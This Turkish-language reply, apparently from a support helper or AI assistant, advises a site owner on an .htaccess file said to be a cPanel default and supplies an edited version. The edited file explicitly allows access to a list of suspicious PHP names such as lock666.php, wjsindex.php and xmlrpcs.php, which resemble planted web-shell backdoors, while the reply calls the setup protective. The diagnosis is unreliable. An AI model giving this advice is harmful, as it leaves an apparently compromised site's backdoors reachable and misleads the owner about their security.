Merhaba,
Cpanel'de varsayılan olarak oluşturulan .htaccess dosyası, sitenizdeki bazı öğelerin kötü amaçlı kullanımını engellemek için tasarlanmıştır. Ancak, dosyanın içeriğindeki bazı kısıtlamaların sitenizin normal çalışmasını engellediğini belirtiyorsunuz.
Örneğin, <FilesMatch> bölümü, belirtilen dosya türlerine sahip dosyaların tümünün erişimini engeller. Bu, sitenizdeki bazı öğelerin çalışmasını engelleyebilir. Ayrıca, <FilesMatch> bölümündeki "wp-login.php" gibi öğelerin engellenmesi, sitenizin yönetici giriş sayfasının erişimini de engelleyebilir.
Bu nedenle, bu .htaccess dosyasını düzenlemeniz gerekebilir. Ancak, .htaccess dosyası hatalı düzenlendiğinde, sitenizde farklı hata kodları alabilirsiniz. Bu nedenle, dosyayı düzenlemeden önce bir yedek almanız önerilir.
Önerim, önce .htaccess dosyanızı yedekleyin ve ardından dosyayı şu şekilde düzenleyin:
<FilesMatch ".(suspected|py)$">
Order deny,allow
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|load.php|xmlrpcs.php|container.php|entity.php|header.php|style.php|constant.php|access.php|locale.php|uninstall.php|themes.php|about.php|scindex.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>Bu düzenleme, belirli dosya türlerinin erişimini engellerken, sitenizdeki diğer öğelerin normal çalışmasını sağlamalıdır. Ayrıca, <FilesMatch> bölümündeki bazı öğelerin engellemesini kaldırdım.
Düzenleme sonrası sitenizin normal çalışmaması durumunda, yedeklenen .htaccess dosyanızı geri yükleyebilirsiniz.